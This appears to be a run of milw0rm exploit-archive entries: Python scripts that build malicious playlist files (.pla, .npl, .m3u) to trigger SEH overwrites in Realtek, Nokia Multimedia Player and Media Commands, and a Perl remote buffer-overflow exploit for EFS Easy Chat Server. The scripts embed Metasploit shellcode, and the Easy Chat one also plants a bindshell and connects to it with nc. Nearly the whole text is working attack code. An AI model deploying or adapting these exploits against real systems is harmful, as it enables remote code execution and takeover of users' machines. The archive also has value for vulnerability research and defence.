"\x4b\x58\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x48\x42\x48\x42\x4b"
"\x42\x30\x42\x50\x42\x30\x4b\x38\x4a\x56\x4e\x43\x4f\x55\x41\x33"
"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x37"
"\x42\x55\x4a\x36\x42\x4f\x4c\x58\x46\x50\x4f\x35\x4a\x36\x4a\x59"
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x56\x41\x56"
"\x4e\x46\x43\x56\x50\x32\x45\x46\x4a\x37\x45\x36\x42\x50\x5a"
)

exploit = buff + next_seh + seh + shellcode + buff2

try:
out_file = open("exploit.pla",'w')
out_file.write(exploit)
out_file.close()
print "Exploit File Created!\nNow import it from Realtek"
except:
print "Error"

# milw0rm

Nokia Multimedia Player 1.0 (playlist) Universal SEH Overwrite Exploit

#usage: exploit.py
print "**************************************************************************"
print " Nokia Multimedia Player 1.0 (playlist) Universal Seh Overwrite Exploit\n"
print " Founder : 0in"
print " Exploited by : His0k4"
print " Tested on: Windows XP Pro SP2 Fr\n"
print " Greetings to:"
print " All friends & muslims HaCkers(dz)\n"
print "**************************************************************************"



buff = "\x41" * 1880

next_seh = "\xEB\x06\x41\x41"

nops = "\x90"*19

seh = "\x0E\xD2\x8E\x01" #yes universal :D




# win32_exec - EXITFUNC=seh CMD=calc Size=330 Encoder=Alpha2 http://metasploit.com
shellcode = (
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x48\x49\x51\x5a\x6a\x67"
"\x58\x50\x30\x42\x30\x42\x6b\x42\x41\x77\x41\x42\x32\x42\x41\x32"
"\x41\x41\x30\x41\x41\x58\x38\x42\x42\x50\x75\x6b\x59\x79\x6c\x6b"
"\x58\x37\x34\x53\x30\x35\x50\x53\x30\x6c\x4b\x41\x55\x47\x4c\x6c"
"\x4b\x51\x6c\x63\x35\x54\x38\x77\x71\x7a\x4f\x6e\x6b\x70\x4f\x74"
"\x58\x4e\x6b\x43\x6f\x37\x50\x43\x31\x5a\x4b\x47\x39\x4e\x6b\x37"
"\x44\x6c\x4b\x45\x51\x58\x6e\x37\x41\x6b\x70\x6c\x59\x6c\x6c\x4f"
"\x74\x6f\x30\x62\x54\x47\x77\x6b\x71\x59\x5a\x76\x6d\x74\x41\x6b"
"\x72\x58\x6b\x69\x64\x65\x6b\x41\x44\x47\x54\x34\x44\x44\x35\x38"
"\x65\x6e\x6b\x33\x6f\x31\x34\x37\x71\x6a\x4b\x51\x76\x6e\x6b\x44"
"\x4c\x42\x6b\x6e\x6b\x43\x6f\x57\x6c\x55\x51\x6a\x4b\x4c\x4b\x47"
"\x6c\x4e\x6b\x75\x51\x4a\x4b\x4e\x69\x31\x4c\x66\x44\x37\x74\x4f"
"\x33\x55\x61\x4f\x30\x30\x64\x6e\x6b\x77\x30\x36\x50\x4e\x65\x39"
"\x50\x31\x68\x64\x4c\x6c\x4b\x73\x70\x36\x6c\x6e\x6b\x30\x70\x37"
"\x6c\x6c\x6d\x4e\x6b\x45\x38\x45\x58\x58\x6b\x73\x39\x6e\x6b\x4b"
"\x30\x4e\x50\x75\x50\x73\x30\x63\x30\x6c\x4b\x45\x38\x65\x6c\x31"
"\x4f\x30\x31\x4c\x36\x75\x30\x32\x76\x6d\x59\x59\x68\x6c\x43\x4b"
"\x70\x41\x6b\x46\x30\x45\x38\x48\x70\x4e\x6a\x65\x54\x43\x6f\x71"
"\x78\x4f\x68\x59\x6e\x4c\x4a\x76\x6e\x52\x77\x6b\x4f\x6b\x57\x72"
"\x43\x53\x51\x30\x6c\x52\x43\x77\x70\x67"
)


exploit = buff + next_seh + seh + nops + shellcode

try:
out_file = open("nokia.npl",'w')
out_file.write(exploit)
out_file.close()
print "Exploit file created!\n"
except:
print "Error"

# milw0rm

Media Commands (m3u File) Universal SEH Overwrite Exploit

#usage: exploit.py
print "**************************************************************************"
print " Media Commands (m3u File) Universal Seh Overwrite Exploit\n"
print " Founder: Hakxer"
print " Exploited by : His0k4"
print " Another Exploiter : Stack"
print " Tested on: Windows XP Pro SP2 Fr\n"
print " Greetings to:"
print " All friends & muslims HaCkers(dz)\n"
print "**************************************************************************"

buff = "\x41" * 4103

next_seh = "\xEB\x06\x90\x90"

seh = "\x9F\x20\x01\x10" #Universal pop pop ret :p

nop = "\x90" * 19

# win32_exec - EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
shellcode = (
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34"
"\x42\x30\x42\x30\x42\x30\x4b\x48\x45\x34\x4e\x53\x4b\x48\x4e\x47"
"\x45\x50\x4a\x37\x41\x50\x4f\x4e\x4b\x58\x4f\x34\x4a\x41\x4b\x58"
"\x4f\x35\x42\x32\x41\x30\x4b\x4e\x49\x34\x4b\x38\x46\x33\x4b\x38"
"\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x59\x4e\x4a\x46\x48\x42\x4c"
"\x46\x47\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x33\x46\x55\x46\x42\x46\x30\x45\x47\x45\x4e\x4b\x58"
"\x4f\x55\x46\x32\x41\x30\x4b\x4e\x48\x46\x4b\x58\x4e\x30\x4b\x54"
"\x4b\x38\x4f\x45\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x48"
"\x41\x30\x4b\x4e\x49\x38\x4e\x55\x46\x42\x46\x50\x43\x4c\x41\x43"
"\x42\x4c\x46\x56\x4b\x58\x42\x54\x42\x53\x45\x48\x42\x4c\x4a\x47"
"\x4e\x30\x4b\x48\x42\x34\x4e\x30\x4b\x38\x42\x57\x4e\x51\x4d\x4a"
"\x4b\x58\x4a\x46\x4a\x30\x4b\x4e\x49\x50\x4b\x58\x42\x38\x42\x4b"
"\x42\x30\x42\x30\x42\x30\x4b\x38\x4a\x46\x4e\x43\x4f\x45\x41\x53"
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x37"
"\x42\x45\x4a\x56\x42\x4f\x4c\x38\x46\x50\x4f\x35\x4a\x56\x4a\x59"
"\x50\x4f\x4c\x48\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x46\x41\x36"
"\x4e\x36\x43\x36\x42\x50\x5a"
)

exploit = buff + next_seh + seh + nop + shellcode

try:
out_file = open("exploit.m3u",'w')
out_file.write(exploit)
out_file.close()
print "Exploit File Created!"
except:
print "Error"

# milw0rm

EFS Easy Chat Server Authentication Request Buffer Overflow Exploit (pl)

#!/usr/bin/perl
#
# EFS Easy Chat Server Authentication Request Buffer Overflow (SEH)
#
# Reference: http://www.milw0rm.com/exploits/8142
#
# Tested in Windows XP Pro SP2-3
#
# Coded by Dr4sH (Bruno F.)
#
# Contact: dr4sh[at]hotmail[dot]com
#
# Thankz: His0ka, str0ke, Vinicius N.
#
#[......................................................]
#
# bt~# perl easychat_server_bof.pl 192.168.1.64
#
# EFS Easy Chat Server Remote BoF Exploit (SEH)
#
# [*] Sending Diabolic request...
# [*] Connecting to bindshell 192.168.1.64:9999
#
# Microsoft Windows XP [versão 5.1.2600]
# (C) Copyright 1985-2001 Microsoft Corp.
#
# C:\Program Files\Easy Chat Server>
#
#[......................................................]
#
# Enjoy!
#

use IO::Socket;

print "\nEFS Easy Chat Server Remote BoF Exploit (SEH)\n\n";

$host = shift || die "Usage: perl $0 \n";

$junk = "\x90" x 208;
$jmp = "\xEB\x06\xAE\xFA";
$ppr = "\xB6\xB2\x01\x10";

$shellcode = "\xd9\xe8\xd9\x74\x24\xf4\xbb\xb6\x14\x60\xe5\x5d\x33\xc9\xb1".
"\x50\x31\x5d\x19\x03\x5d\x19\x83\xed\xfc\x54\xe1\x9c\x8f\x73".
"\x47\xb5\xa9\x7c\xa7\xba\x2a\x09\x34\x61\x8f\x86\x80\x55\x44".
"\xe4\x0f\xde\x5b\xfb\x9b\x51\x44\x88\xc3\x4d\x75\x65\xb2\x06".
"\x41\xf2\x44\xf7\x9b\xc4\xde\xab\x58\x04\x94\xb4\xa1\x4e\x58".
"\xba\xe3\xa5\x97\x87\xb7\x1d\x70\x8d\xd2\xd6\xdf\x49\x1c\x03".
"\xb9\x1a\x12\x98\xcd\x42\x37\x1f\x39\x7f\x6b\x94\x34\xec\x57".
"\xb6\x27\x2e\xa6\x1d\xc3\x3b\x8a\x91\x87\x7c\x01\x5a\xe7\x60".
"\xb4\xd7\x48\x91\x98\x8f\xc6\xef\x2a\xa3\x87\x10\xe4\x5d\x7b".
"\x89\x61\x92\x49\x3d\x05\xa7\x9f\xe2\xbd\xb8\x30\x74\xf5\xab".
"\x4d\xbe\x59\xcc\x78\x9e\xd0\xd7\xe3\xa0\x0e\x1f\xee\xf7\xba".
"\x1d\x11\x27\x52\xf8\xe4\x3d\x0e\xad\x09\x6b\x02\x02\xa5\xc7".
"\xf6\xe7\x1a\xab\xab\x18\x4c\x4d\x24\xc1\x62\xf4\xe7\x84\x9c".
"\x6d\x6f\x32\x44\xfe\xb7\x6d\x86\x28\x5d\x81\x29\x80\x5d\x71".
"\xa1\x8e\x0f\x5f\xdb\x98\xb0\x49\x48\x72\xb0\xa5\x07\x99\x07".
"\xc3\x91\x36\x67\x1d\x71\xed\xc3\xf4\x8d\xdd\x7f\x9e\x96\xa7".
"\xb9\x27\x0e\xa7\x90\x82\x4f\x87\x7b\x46\xd4\x4e\xec\xf5\x79".
"\x06\x09\x93\xd1\x41\xfb\xaf\x5b\x96\x91\x6b\xd5\xbb\x57\xb3".
"\x16\x91\x66\x71\xf4\x18\xd4\x59\x95\x68\xa3\x99\x32\xd9\xff".
"\xb1\x36\xe0\xb3\x57\x48\x69\xf0\xa8\x60\xc9\xaf\x04\xdc\xbf".
"\x1e\xc2\xdf\x6e\xf0\x47\xb1\x6f\x22\x0f\x9c\x49\xc6\x01\x8d".
"\x96\x1f\xf7\xcd\x96\x97\xf8\xe2\xe2\x8f\xfa\x80\x31\x4b\xfd".
"\x51\xeb\x6b\xd1\x36\xfc\x1e\xd5\x99\xaf\xe1\x03\xda\x80\x14";

$buffer = $junk.$jmp.$ppr.$shellcode;

$socket = IO::Socket::INET->new(PeerAddr=> $host,
PeerPort=> '80',
Proto=> 'tcp',
Timeout=>'1') || die "[-] Unable to Connect.!\n";

print "[*] Sending Diabolic request...\n";

print $socket "GET /chat.ghp?username=".$buffer."&password=ydw&room=2&ydw=2 HTTP/1.1\r\n";
print $socket "Host: $host\r\n\r\n\r\n";

close($socket);

print "[*] Connecting to bindshell $host:9999\n\n";

system("nc $host 9999");

# milw0rm